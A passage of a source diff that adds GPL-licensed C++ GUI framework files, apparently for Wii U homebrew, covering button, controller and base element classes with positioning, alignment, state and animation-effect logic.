void setTrigger(GuiTrigger * t, int idx = -1);
|
||||||
|
//!
|
||||||
|
void resetState(void);
|
||||||
|
//!Constantly called to draw the GuiButton
|
||||||
|
void draw(CVideo *video);
|
||||||
|
//!Constantly called to allow the GuiButton to respond to updated input data
|
||||||
|
//!\param t Pointer to a GuiTrigger, containing the current input data from PAD/WPAD
|
||||||
|
void update(GuiController * c);
|
||||||
|
|
||||||
|
sigslot::signal2<GuiButton *, const GuiController *> selected;
|
||||||
|
sigslot::signal2<GuiButton *, const GuiController *> deSelected;
|
||||||
|
sigslot::signal2<GuiButton *, const GuiController *> pointedOn;
|
||||||
|
sigslot::signal2<GuiButton *, const GuiController *> pointedOff;
|
||||||
|
sigslot::signal3<GuiButton *, const GuiController *, GuiTrigger *> clicked;
|
||||||
|
sigslot::signal3<GuiButton *, const GuiController *, GuiTrigger *> held;
|
||||||
|
sigslot::signal3<GuiButton *, const GuiController *, GuiTrigger *> released;
|
||||||
|
protected:
|
||||||
|
static const int iMaxGuiTriggers = 7;
|
||||||
|
|
||||||
|
GuiImage * image; //!< Button image (default)
|
||||||
|
GuiImage * imageOver; //!< Button image for STATE_SELECTED
|
||||||
|
GuiImage * imageHold; //!< Button image for STATE_HELD
|
||||||
|
GuiImage * imageClick; //!< Button image for STATE_CLICKED
|
||||||
|
GuiImage * icon;
|
||||||
|
GuiImage * iconOver;
|
||||||
|
GuiText * label[4]; //!< Label(s) to display (default)
|
||||||
|
GuiText * labelOver[4]; //!< Label(s) to display for STATE_SELECTED
|
||||||
|
GuiText * labelHold[4]; //!< Label(s) to display for STATE_HELD
|
||||||
|
GuiText * labelClick[4]; //!< Label(s) to display for STATE_CLICKED
|
||||||
|
GuiSound * soundOver; //!< Sound to play for STATE_SELECTED
|
||||||
|
GuiSound * soundHold; //!< Sound to play for STATE_HELD
|
||||||
|
GuiSound * soundClick; //!< Sound to play for STATE_CLICKED
|
||||||
|
GuiTrigger * trigger[iMaxGuiTriggers]; //!< GuiTriggers (input actions) that this element responds to
|
||||||
|
GuiTrigger * clickedTrigger;
|
||||||
|
GuiTrigger * heldTrigger;
|
||||||
|
};
|
||||||
|
|
||||||
|
#endif
|
78
src/gui/GuiController.h
Normal file
78
src/gui/GuiController.h
Normal file
@ -0,0 +1,78 @@
|
|||||||
|
/****************************************************************************
|
||||||
|
* Copyright (C) 2015 Dimok
|
||||||
|
*
|
||||||
|
* This program is free software: you can redistribute it and/or modify
|
||||||
|
* it under the terms of the GNU General Public License as published by
|
||||||
|
* the Free Software Foundation, either version 3 of the License, or
|
||||||
|
* (at your option) any later version.
|
||||||
|
*
|
||||||
|
* This program is distributed in the hope that it will be useful,
|
||||||
|
* but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||||
|
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||||
|
* GNU General Public License for more details.
|
||||||
|
*
|
||||||
|
* You should have received a copy of the GNU General Public License
|
||||||
|
* along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||||
|
****************************************************************************/
|
||||||
|
#ifndef GUI_CONTROLLER_H_
|
||||||
|
#define GUI_CONTROLLER_H_
|
||||||
|
|
||||||
|
#include <string.h>
|
||||||
|
#include "GuiTrigger.h"
|
||||||
|
|
||||||
|
class GuiController
|
||||||
|
{
|
||||||
|
public:
|
||||||
|
//!Constructor
|
||||||
|
GuiController(int channel)
|
||||||
|
: chan(channel)
|
||||||
|
{
|
||||||
|
memset(&lastData, 0, sizeof(lastData));
|
||||||
|
memset(&data, 0, sizeof(data));
|
||||||
|
|
||||||
|
switch(chan)
|
||||||
|
{
|
||||||
|
default:
|
||||||
|
case GuiTrigger::CHANNEL_1:
|
||||||
|
chanIdx = 0;
|
||||||
|
break;
|
||||||
|
case GuiTrigger::CHANNEL_2:
|
||||||
|
chanIdx = 1;
|
||||||
|
break;
|
||||||
|
case GuiTrigger::CHANNEL_3:
|
||||||
|
chanIdx = 2;
|
||||||
|
break;
|
||||||
|
case GuiTrigger::CHANNEL_4:
|
||||||
|
chanIdx = 3;
|
||||||
|
break;
|
||||||
|
case GuiTrigger::CHANNEL_5:
|
||||||
|
chanIdx = 4;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
//!Destructor
|
||||||
|
virtual ~GuiController() {}
|
||||||
|
|
||||||
|
virtual bool update(int width, int height) = 0;
|
||||||
|
|
||||||
|
typedef struct
|
||||||
|
{
|
||||||
|
unsigned int buttons_h;
|
||||||
|
unsigned int buttons_d;
|
||||||
|
unsigned int buttons_r;
|
||||||
|
bool validPointer;
|
||||||
|
bool touched;
|
||||||
|
float pointerAngle;
|
||||||
|
int x;
|
||||||
|
int y;
|
||||||
|
} PadData;
|
||||||
|
|
||||||
|
int chan;
|
||||||
|
int chanIdx;
|
||||||
|
PadData data;
|
||||||
|
PadData lastData;
|
||||||
|
|
||||||
|
};
|
||||||
|
|
||||||
|
#endif
|
342
src/gui/GuiElement.cpp
Normal file
342
src/gui/GuiElement.cpp
Normal file
@ -0,0 +1,342 @@
|
|||||||
|
/****************************************************************************
|
||||||
|
* Copyright (C) 2015 Dimok
|
||||||
|
*
|
||||||
|
* This program is free software: you can redistribute it and/or modify
|
||||||
|
* it under the terms of the GNU General Public License as published by
|
||||||
|
* the Free Software Foundation, either version 3 of the License, or
|
||||||
|
* (at your option) any later version.
|
||||||
|
*
|
||||||
|
* This program is distributed in the hope that it will be useful,
|
||||||
|
* but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||||
|
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||||
|
* GNU General Public License for more details.
|
||||||
|
*
|
||||||
|
* You should have received a copy of the GNU General Public License
|
||||||
|
* along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||||
|
****************************************************************************/
|
||||||
|
#include "GuiElement.h"
|
||||||
|
|
||||||
|
//! TODO remove this!
|
||||||
|
static int screenwidth = 1280;
|
||||||
|
static int screenheight = 720;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Constructor for the Object class.
|
||||||
|
*/
|
||||||
|
GuiElement::GuiElement()
|
||||||
|
{
|
||||||
|
xoffset = 0.0f;
|
||||||
|
yoffset = 0.0f;
|
||||||
|
zoffset = 0.0f;
|
||||||
|
width = 0.0f;
|
||||||
|
height = 0.0f;
|
||||||
|
alpha = 1.0f;
|
||||||
|
scaleX = 1.0f;
|
||||||
|
scaleY = 1.0f;
|
||||||
|
scaleZ = 1.0f;
|
||||||
|
for(int i = 0; i < 4; i++)
|
||||||
|
state[i] = STATE_DEFAULT;
|
||||||
|
stateChan = -1;
|
||||||
|
parentElement = NULL;
|
||||||
|
rumble = true;
|
||||||
|
selectable = false;
|
||||||
|
clickable = false;
|
||||||
|
holdable = false;
|
||||||
|
visible = true;
|
||||||
|
yoffsetDyn = 0;
|
||||||
|
xoffsetDyn = 0;
|
||||||
|
alphaDyn = -1;
|
||||||
|
scaleDyn = 1;
|
||||||
|
effects = EFFECT_NONE;
|
||||||
|
effectAmount = 0;
|
||||||
|
effectTarget = 0;
|
||||||
|
effectsOver = EFFECT_NONE;
|
||||||
|
effectAmountOver = 0;
|
||||||
|
effectTargetOver = 0;
|
||||||
|
angle = 0.0f;
|
||||||
|
|
||||||
|
// default alignment - align to top left
|
||||||
|
alignment = (ALIGN_CENTER | ALIGN_MIDDLE);
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Get the left position of the GuiElement.
|
||||||
|
* @see SetLeft()
|
||||||
|
* @return Left position in pixel.
|
||||||
|
*/
|
||||||
|
f32 GuiElement::getLeft()
|
||||||
|
{
|
||||||
|
f32 pWidth = 0;
|
||||||
|
f32 pLeft = 0;
|
||||||
|
f32 pScaleX = 1.0f;
|
||||||
|
|
||||||
|
if(parentElement)
|
||||||
|
{
|
||||||
|
pWidth = parentElement->getWidth();
|
||||||
|
pLeft = parentElement->getLeft();
|
||||||
|
pScaleX = parentElement->getScaleX();
|
||||||
|
}
|
||||||
|
|
||||||
|
pLeft += xoffsetDyn;
|
||||||
|
|
||||||
|
f32 x = pLeft;
|
||||||
|
|
||||||
|
//! TODO: the conversion from int to float and back to int is bad for performance, change that
|
||||||
|
if(alignment & ALIGN_CENTER)
|
||||||
|
{
|
||||||
|
x = pLeft + pWidth * 0.5f * pScaleX - width * 0.5f * getScaleX();
|
||||||
|
}
|
||||||
|
else if(alignment & ALIGN_RIGHT)
|
||||||
|
{
|
||||||
|
x = pLeft + pWidth * pScaleX - width * getScaleX();
|
||||||
|
}
|
||||||
|
|
||||||
|
return x + xoffset;
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Get the top position of the GuiElement.
|
||||||
|
* @see SetTop()
|
||||||
|
* @return Top position in pixel.
|
||||||
|
*/
|
||||||
|
f32 GuiElement::getTop()
|
||||||
|
{
|
||||||
|
f32 pHeight = 0;
|
||||||
|
f32 pTop = 0;
|
||||||
|
f32 pScaleY = 1.0f;
|
||||||
|
|
||||||
|
if(parentElement)
|
||||||
|
{
|
||||||
|
pHeight = parentElement->getHeight();
|
||||||
|
pTop = parentElement->getTop();
|
||||||
|
pScaleY = parentElement->getScaleY();
|
||||||
|
}
|
||||||
|
|
||||||
|
pTop += yoffsetDyn;
|
||||||
|
|
||||||
|
f32 y = pTop;
|
||||||
|
|
||||||
|
//! TODO: the conversion from int to float and back to int is bad for performance, change that
|
||||||
|
if(alignment & ALIGN_MIDDLE)
|
||||||
|
{
|
||||||
|
y = pTop + pHeight * 0.5f * pScaleY - height * 0.5f * getScaleY();
|
||||||
|
}
|
||||||
|
else if(alignment & ALIGN_BOTTOM)
|
||||||
|
{
|
||||||
|
y = pTop + pHeight * pScaleY - height * getScaleY();
|
||||||
|
}
|
||||||
|
|
||||||
|
return y + yoffset;
|
||||||
|
}
|
||||||
|
|
||||||
|
void GuiElement::setEffect(int eff, int amount, int target)
|
||||||
|
{
|
||||||
|
if(eff & EFFECT_SLIDE_IN)
|
||||||
|
{
|
||||||
|
// these calculations overcompensate a little
|
||||||
|
if(eff & EFFECT_SLIDE_TOP)
|
||||||
|
{
|
||||||
|
if(eff & EFFECT_SLIDE_FROM)
|
||||||
|
yoffsetDyn = (int) -getHeight()*scaleY;
|
||||||
|
else
|
||||||
|
yoffsetDyn = -screenheight;
|
||||||
|
}
|
||||||
|
else if(eff & EFFECT_SLIDE_LEFT)
|
||||||
|
{
|
||||||
|
if(eff & EFFECT_SLIDE_FROM)
|
||||||
|
xoffsetDyn = (int) -getWidth()*scaleX;
|
||||||
|
else
|
||||||
|
xoffsetDyn = -screenwidth;
|
||||||
|
}
|
||||||
|
else if(eff & EFFECT_SLIDE_BOTTOM)
|
||||||
|
{
|
||||||
|
if(eff & EFFECT_SLIDE_FROM)
|
||||||
|
yoffsetDyn = (int) getHeight()*scaleY;
|
||||||
|
else
|
||||||
|
yoffsetDyn = screenheight;
|
||||||
|
}
|
||||||
|
else if(eff & EFFECT_SLIDE_RIGHT)
|
||||||
|
{
|
||||||
|
if(eff & EFFECT_SLIDE_FROM)
|
||||||
|
xoffsetDyn = (int) getWidth()*scaleX;
|
||||||
|
else
|
||||||
|
xoffsetDyn = screenwidth;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if((eff & EFFECT_FADE) && amount > 0)
|
||||||
|
{
|
||||||
|
alphaDyn = 0;
|
||||||
|
}
|
||||||
|
else if((eff & EFFECT_FADE) && amount < 0)
|
||||||
|
{
|
||||||
|
alphaDyn = alpha;
|
||||||
|
}
|
||||||
|
effects |= eff;
|
||||||
|
effectAmount = amount;
|
||||||
|
effectTarget = target;
|
||||||
|
}
|
||||||
|
|
||||||
|
//!Sets an effect to be enabled on wiimote cursor over
|
||||||
|
//!\param e Effect to enable
|
||||||
|
//!\param a Amount of the effect (usage varies on effect)
|
||||||
|
//!\param t Target amount of the effect (usage varies on effect)
|
||||||
|
void GuiElement::setEffectOnOver(int e, int a, int t)
|
||||||
|
{
|
||||||
|
effectsOver |= e;
|
||||||
|
effectAmountOver = a;
|
||||||
|
effectTargetOver = t;
|
||||||
|
}
|
||||||
|
|
||||||
|
void GuiElement::resetEffects()
|
||||||
|
{
|
||||||
|
yoffsetDyn = 0;
|
||||||
|
xoffsetDyn = 0;
|
||||||
|
alphaDyn = -1;
|
||||||
|
scaleDyn = 1;
|
||||||
|
effects = EFFECT_NONE;
|
||||||
|
effectAmount = 0;
|
||||||
|
effectTarget = 0;
|
||||||
|
effectsOver = EFFECT_NONE;
|
||||||
|
effectAmountOver = 0;
|
||||||
|
effectTargetOver = 0;
|
||||||
|
}
|
||||||
|
void GuiElement::updateEffects()
|
||||||
|
{
|
||||||
|
if(!this->isVisible() && parentElement)
|
||||||
|
return;
|
||||||
|
|
||||||
|
if(effects & (EFFECT_SLIDE_IN | EFFECT_SLIDE_OUT | EFFECT_SLIDE_FROM))
|
||||||
|
{
|
||||||
|
if(effects & EFFECT_SLIDE_IN)
|
||||||
|
{
|
||||||
|
if(effects & EFFECT_SLIDE_LEFT)
|
||||||
|
{
|
||||||
|
xoffsetDyn += effectAmount;
|
||||||
|
|
||||||
|
if(xoffsetDyn >= 0)
|
||||||
|
{
|
||||||
|
xoffsetDyn = 0;
|
||||||
|
effects = 0;
|
||||||
|
effectFinished(this);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
else if(effects & EFFECT_SLIDE_RIGHT)
|
||||||
|
{
|
||||||
|
xoffsetDyn -= effectAmount;
|
||||||
|
|
||||||
|
if(xoffsetDyn <= 0)
|
||||||
|
{
|
||||||
|
xoffsetDyn = 0;
|
||||||
|
effects = 0;
|
||||||
|
effectFinished(this);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
else if(effects & EFFECT_SLIDE_TOP)
|
||||||
|
{
|
||||||
|
yoffsetDyn += effectAmount;
|
||||||
|
|
||||||
|
if(yoffsetDyn >= 0)
|
||||||
|
{
|
||||||
|
yoffsetDyn = 0;
|
||||||
|
effects = 0;
|
||||||
|
effectFinished(this);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
else if(effects & EFFECT_SLIDE_BOTTOM)
|
||||||
|
{
|
||||||
|
yoffsetDyn -= effectAmount;
|
||||||
|
|
||||||
|
if(yoffsetDyn <= 0)
|
||||||
|
{
|
||||||
|
yoffsetDyn = 0;
|
||||||
|
effects = 0;
|
||||||
|
effectFinished(this);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
if(effects & EFFECT_SLIDE_LEFT)
|
||||||
|
{
|
||||||
|
xoffsetDyn -= effectAmount;
|
||||||
|
|
||||||
|
if(xoffsetDyn <= -screenwidth) {
|
||||||
|
effects = 0; // shut off effect
|
||||||
|
effectFinished(this);
|
||||||
|
}
|
||||||
|
else if((effects & EFFECT_SLIDE_FROM) && xoffsetDyn <= -getWidth()) {
|
||||||
|
effects = 0; // shut off effect
|
||||||
|
effectFinished(this);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
else if(effects & EFFECT_SLIDE_RIGHT)
|
||||||
|
{
|
||||||
|
xoffsetDyn += effectAmount;
|
||||||
|
|
||||||
|
if(xoffsetDyn >= screenwidth) {
|
||||||
|
effects = 0; // shut off effect
|
||||||
|
effectFinished(this);
|
||||||
|
}
|
||||||
|
else if((effects & EFFECT_SLIDE_FROM) && xoffsetDyn >= getWidth()*scaleX) {
|
||||||
|
effects = 0; // shut off effect
|
||||||
|
effectFinished(this);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
else if(effects & EFFECT_SLIDE_TOP)
|
||||||
|
{
|
||||||
|
yoffsetDyn -= effectAmount;
|
||||||
|
|
||||||
|
if(yoffsetDyn <= -screenheight) {
|
||||||
|
effects = 0; // shut off effect
|
||||||
|
effectFinished(this);
|
||||||
|
}
|
||||||
|
else if((effects & EFFECT_SLIDE_FROM) && yoffsetDyn <= -getHeight()) {
|
||||||
|
effects = 0; // shut off effect
|
||||||
|
effectFinished(this);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
else if(effects & EFFECT_SLIDE_BOTTOM)
|
||||||
|
{
|
||||||
|
yoffsetDyn += effectAmount;
|
||||||
|
|
||||||
|
if(yoffsetDyn >= screenheight) {
|
||||||
|
effects = 0; // shut off effect
|
||||||
|
effectFinished(this);
|
||||||
|
}
|
||||||
|
else if((effects & EFFECT_SLIDE_FROM) && yoffsetDyn >= getHeight()) {
|
||||||
|
effects = 0; // shut off effect
|
||||||
|
effectFinished(this);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
else if(effects & EFFECT_FADE)
|
||||||
|
{
|
||||||
|
alphaDyn += effectAmount * (1.0f / 255.0f);
|
||||||
|
|
||||||
|
if(effectAmount < 0 && alphaDyn <= 0)
|
||||||
|
{
|
||||||
|
alphaDyn = 0;
|
||||||
|
effects = 0; // shut off effect
|
||||||
|
effectFinished(this);
|
||||||
|
}
|
||||||
|
else if(effectAmount > 0 && alphaDyn >= alpha)
|
||||||
|
{
|
||||||
|
alphaDyn = alpha;
|
||||||
|
effects = 0; // shut off effect
|
||||||
|
effectFinished(this);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
else if(effects & EFFECT_SCALE)
|
||||||
|
{
|
||||||
|
scaleDyn += effectAmount * 0.01f;
|
||||||
|
|
||||||
|
if((effectAmount < 0 && scaleDyn <= (effectTarget * 0.01f))
|
||||||
|
|| (effectAmount > 0 && scaleDyn >= (effectTarget * 0.01f)))
|
||||||
|
{
|
||||||
|
scaleDyn = effectTarget * 0.01f;
|
||||||
|
effects = 0; // shut off effect
|
||||||
|
effectFinished(this);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
518
src/gui/GuiElement.h
Normal file
518
src/gui/GuiElement.h
Normal file
@ -0,0 +1,518 @@
|
|||||||
|
/****************************************************************************
|
||||||
|
* Copyright (C) 2015 Dimok
|
||||||
|
*
|
||||||
|
* This program is free software: you can redistribute it and/or modify
|
||||||
|
* it under the terms of the GNU General Public License as published by
|
||||||
|
* the Free Software Foundation, either version 3 of the License, or
|
||||||
|
* (at your option) any later version.
|
||||||
|
*
|
||||||
|
* This program is distributed in the hope that it will be useful,
|
||||||
|
* but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||||
|
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||||
|
* GNU General Public License for more details.
|
||||||
|
*
|
||||||
|
* You should have received a copy of the GNU General Public License
|
||||||
|
* along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||||
|
****************************************************************************/
|
||||||
|
#ifndef GUI_ELEMENT_H_
|
||||||
|
#define GUI_ELEMENT_H_
|
||||||
|
|
||||||
|
#include <string>
|
||||||
|
#include <vector>
|
||||||
|
#include <gctypes.h>
|
||||||
|
#include <malloc.h>
|
||||||
|
#include <stdio.h>
|
||||||
|
#include <stdlib.h>
|
||||||
|
#include <string.h>
|
||||||
|
#include <unistd.h>
|
||||||
|
#include <wchar.h>
|
||||||
|
#include <math.h>
|
||||||
|
|
||||||
|
#include "sigslot.h"
|
||||||
|
#include "glm/glm.hpp"
|
||||||
|
#include "glm/gtc/matrix_transform.hpp"
|
||||||
|
|
||||||
|
#include "dynamic_libs/gx2_types.h"
|
||||||
|
#include "resources/Resources.h"
|
||||||
|
#include "system/AsyncDeleter.h"
|
||||||
|
#include "utils/logger.h"
|
||||||
|
|
||||||
|
enum
|
||||||
|
{
|
||||||
|
EFFECT_NONE = 0x00,
|
||||||
|
EFFECT_SLIDE_TOP = 0x01,
|
||||||
|
EFFECT_SLIDE_BOTTOM = 0x02,
|
||||||
|
EFFECT_SLIDE_RIGHT = 0x04,
|
||||||
|
EFFECT_SLIDE_LEFT = 0x08,
|
||||||
|
EFFECT_SLIDE_IN = 0x10,
|
||||||
|
EFFECT_SLIDE_OUT = 0x20,
|
||||||
|
EFFECT_SLIDE_FROM = 0x40,
|
||||||
|
EFFECT_FADE = 0x80,
|
||||||
|
EFFECT_SCALE = 0x100,
|
||||||
|
EFFECT_COLOR_TRANSITION = 0x200
|
||||||
|
};
|
||||||
|
|
||||||
|
enum
|
||||||
|
{
|
||||||
|
ALIGN_LEFT = 0x01,
|
||||||
|
ALIGN_CENTER = 0x02,
|
||||||
|
ALIGN_RIGHT = 0x04,
|
||||||
|
ALIGN_TOP = 0x10,
|
||||||
|
ALIGN_MIDDLE = 0x20,
|
||||||
|
ALIGN_BOTTOM = 0x40,
|
||||||
|
ALIGN_TOP_LEFT = ALIGN_LEFT | ALIGN_TOP,
|
||||||
|
ALIGN_TOP_CENTER = ALIGN_CENTER | ALIGN_TOP,
|
||||||
|
ALIGN_TOP_RIGHT = ALIGN_RIGHT | ALIGN_TOP,
|
||||||
|
ALIGN_CENTERED = ALIGN_CENTER | ALIGN_MIDDLE,
|
||||||
|
};
|
||||||
|
|
||||||
|
//!Forward declaration
|
||||||
|
class GuiController;
|
||||||
|
class CVideo;
|
||||||
|
|
||||||
|
//!Primary GUI class. Most other classes inherit from this class.
|
||||||
|
class GuiElement : public AsyncDeleter::Element
|
||||||
|
{
|
||||||
|
public:
|
||||||
|
//!Constructor
|
||||||
|
GuiElement();
|
||||||
|
//!Destructor
|
||||||
|
virtual ~GuiElement() {}
|
||||||
|
//!Set the element's parent
|
||||||
|
//!\param e Pointer to parent element
|
||||||
|
virtual void setParent(GuiElement * e) { parentElement = e; }
|
||||||
|
//!Gets the element's parent
|
||||||
|
//!\return Pointer to parent element
|
||||||
|
virtual GuiElement * getParent() { return parentElement; }
|
||||||
|
//!Gets the current leftmost coordinate of the element
|
||||||
|
//!Considers horizontal alignment, x offset, width, and parent element's GetLeft() / GetWidth() values
|
||||||
|
//!\return left coordinate
|
||||||
|
virtual f32 getLeft();
|
||||||
|
//!Gets the current topmost coordinate of the element
|
||||||
|
//!Considers vertical alignment, y offset, height, and parent element's GetTop() / GetHeight() values
|
||||||
|
//!\return top coordinate
|
||||||
|
virtual f32 getTop();
|
||||||
|
//!Gets the current Z coordinate of the element
|
||||||
|
//!\return Z coordinate
|
||||||
|
virtual f32 getDepth()
|
||||||
|
{
|
||||||
|
f32 zParent = 0.0f;
|
||||||
|
|
||||||
|
if(parentElement)
|
||||||
|
zParent = parentElement->getDepth();
|
||||||
|
|
||||||
|
return zParent+zoffset;
|
||||||
|
}
|
||||||
|
|
||||||
|
virtual f32 getCenterX(void)
|
||||||
|
{
|
||||||
|
f32 pCenterX = 0.0f;
|
||||||
|
|
||||||
|
if(parentElement)
|
||||||
|
pCenterX = parentElement->getCenterX();
|
||||||
|
|
||||||
|
pCenterX += xoffset + xoffsetDyn;
|
||||||
|
|
||||||
|
if(alignment & ALIGN_LEFT)
|
||||||
|
{
|
||||||
|
f32 pWidth = 0.0f;
|
||||||
|
f32 pScale = 0.0f;
|
||||||
|
|
||||||
|
if(parentElement)
|
||||||
|
{
|
||||||
|
pWidth = parentElement->getWidth();
|
||||||
|
pScale = parentElement->getScaleX();
|
||||||
|
}
|
||||||
|
|
||||||
|
pCenterX -= pWidth * 0.5f * pScale - width * 0.5f * getScaleX();
|
||||||
|
}
|
||||||
|
else if(alignment & ALIGN_RIGHT)
|
||||||
|
{
|
||||||
|
f32 pWidth = 0.0f;
|
||||||
|
f32 pScale = 0.0f;
|
||||||
|
|
||||||
|
if(parentElement)
|
||||||
|
{
|
||||||
|
pWidth = parentElement->getWidth();
|
||||||
|
pScale = parentElement->getScaleX();
|
||||||
|
}
|
||||||
|
|
||||||
|
pCenterX += pWidth * 0.5f * pScale - width * 0.5f * getScaleX();
|
||||||
|
}
|
||||||
|
return pCenterX;
|
||||||
|
}
|
||||||
|
|
||||||
|
virtual f32 getCenterY(void)
|
||||||
|
{
|
||||||
|
f32 pCenterY = 0.0f;
|
||||||
|
|
||||||
|
if(parentElement)
|
||||||
|
pCenterY = parentElement->getCenterY();
|
||||||
|
|
||||||
|
pCenterY += yoffset + yoffsetDyn;
|
||||||
|
|
||||||
|
if(alignment & ALIGN_TOP)
|
||||||
|
{
|
||||||
|
f32 pHeight = 0.0f;
|
||||||
|
f32 pScale = 0.0f;
|
||||||
|
|
||||||
|
if(parentElement)
|
||||||
|
{
|
||||||
|
pHeight = parentElement->getHeight();
|
||||||
|
pScale = parentElement->getScaleY();
|
||||||
|
}
|
||||||
|
|
||||||
|
pCenterY += pHeight * 0.5f * pScale - height * 0.5f * getScaleY();
|
||||||
|
}
|
||||||
|
else if(alignment & ALIGN_BOTTOM)
|
||||||
|
{
|
||||||
|
f32 pHeight = 0.0f;
|
||||||
|
f32 pScale = 0.0f;
|
||||||
|
|
||||||
|
if(parentElement)
|
||||||
|
{
|
||||||
|
pHeight = parentElement->getHeight();
|
||||||
|
pScale = parentElement->getScaleY();
|
||||||
|
}
|
||||||
|
|
||||||
|
pCenterY -= pHeight * 0.5f * pScale - height * 0.5f * getScaleY();
|
||||||
|
}
|
||||||
|
return pCenterY;
|
||||||
|
}
|
||||||
|
//!Gets elements xoffset
|
||||||
|
virtual f32 getOffsetX() { return xoffset; }
|
||||||
|
//!Gets elements yoffset
|
||||||
|
virtual f32 getOffsetY() { return yoffset; }
|
||||||
|
//!Gets the current width of the element. Does not currently consider the scale
|
||||||
|
//!\return width
|
||||||
|
virtual f32 getWidth() { return width; };
|
||||||
|
//!Gets the height of the element. Does not currently consider the scale
|
||||||
|
//!\return height
|
||||||
|
virtual f32 getHeight() { return height; }
|
||||||
|
//!Sets the size (width/height) of the element
|
||||||
|
//!\param w Width of element
|
||||||
|
//!\param h Height of element
|
||||||
|
virtual void setSize(f32 w, f32 h)
|
||||||
|
{
|
||||||
|
width = w;
|
||||||
|
height = h;
|
||||||
|
}
|
||||||
|
//!Sets the element's visibility
|
||||||
|
//!\param v Visibility (true = visible)
|
||||||
|
virtual void setVisible(bool v)
|
||||||
|
{
|
||||||
|
visible = v;
|
||||||
|
visibleChanged(this, v);
|
||||||
|
}
|
||||||
|
//!Checks whether or not the element is visible
|
||||||
|
//!\return true if visible, false otherwise
|
||||||
|
virtual bool isVisible() const { return !isStateSet(STATE_HIDDEN) && visible; };
|
||||||
|
//!Checks whether or not the element is selectable
|
||||||
|
//!\return true if selectable, false otherwise
|
||||||
|
virtual bool isSelectable()
|
||||||
|
{
|
||||||
|
return !isStateSet(STATE_DISABLED) && selectable;
|
||||||
|
}
|
||||||
|
//!Checks whether or not the element is clickable
|
||||||
|
//!\return true if clickable, false otherwise
|
||||||
|
virtual bool isClickable()
|
||||||
|
{
|
||||||
|
return !isStateSet(STATE_DISABLED) && clickable;
|
||||||
|
}
|
||||||
|
//!Checks whether or not the element is holdable
|
||||||
|
//!\return true if holdable, false otherwise
|
||||||
|
virtual bool isHoldable() { return !isStateSet(STATE_DISABLED) && holdable; }
|
||||||
|
//!Sets whether or not the element is selectable
|
||||||
|
//!\param s Selectable
|
||||||
|
virtual void setSelectable(bool s) { selectable = s; }
|
||||||
|
//!Sets whether or not the element is clickable
|
||||||
|
//!\param c Clickable
|
||||||
|
virtual void setClickable(bool c) { clickable = c; }
|
||||||
|
//!Sets whether or not the element is holdable
|
||||||
|
//!\param c Holdable
|
||||||
|
virtual void setHoldable(bool d) { holdable = d; }
|
||||||
|
//!Sets the element's state
|
||||||
|
//!\param s State (STATE_DEFAULT, STATE_SELECTED, STATE_CLICKED, STATE_DISABLED)
|
||||||
|
//!\param c Controller channel (0-3, -1 = none)
|
||||||
|
virtual void setState(int s, int c = -1)
|
||||||
|
{
|
||||||
|
if(c >= 0 && c < 4)
|
||||||
|
{
|
||||||
|
state[c] |= s;
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
for(int i = 0; i < 4; i++)
|
||||||
|
state[i] |= s;
|
||||||
|
}
|
||||||
|
stateChan = c;
|
||||||
|
stateChanged(this, s, c);
|
||||||
|
}
|
||||||
|
virtual void clearState(int s, int c = -1)
|
||||||
|
{
|
||||||
|
if(c >= 0 && c < 4)
|
||||||
|
{
|
||||||
|
state[c] &= ~s;
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
for(int i = 0; i < 4; i++)
|
||||||
|
state[i] &= ~s;
|
||||||
|
}
|
||||||
|
stateChan = c;
|
||||||
|
stateChanged(this, s, c);
|
||||||
|
}
|
||||||
|
virtual bool isStateSet(int s, int c = -1) const
|
||||||
|
{
|
||||||
|
if(c >= 0 && c < 4)
|
||||||
|
{
|
||||||
|
return (state[c] & s) != 0;
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
for(int i = 0; i < 4; i++)
|
||||||
|
if((state[i] & s) != 0)
|
||||||
|
return true;
|
||||||
|
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
//!Gets the element's current state
|
||||||
|
//!\return state
|
||||||
|
virtual int getState(int c = 0) { return state[c]; };
|
||||||
|
//!Gets the controller channel that last changed the element's state
|
||||||
|
//!\return Channel number (0-3, -1 = no channel)
|
||||||
|
virtual int getStateChan() { return stateChan; };
|
||||||
|
//!Resets the element's state to STATE_DEFAULT
|
||||||
|
virtual void resetState()
|
||||||
|
{
|
||||||
|
for(int i = 0; i < 4; i++)
|
||||||
|
state[i] = STATE_DEFAULT;
|
||||||
|
stateChan = -1;
|
||||||
|
}
|
||||||
|
//!Sets the element's alpha value
|
||||||
|
//!\param a alpha value
|
||||||
|
virtual void setAlpha(f32 a) { alpha = a; }
|
||||||
|
//!Gets the element's alpha value
|
||||||
|
//!Considers alpha, alphaDyn, and the parent element's getAlpha() value
|
||||||
|
//!\return alpha
|
||||||
|
virtual f32 getAlpha()
|
||||||
|
{
|
||||||
|
f32 a;
|
||||||
|
|
||||||
|
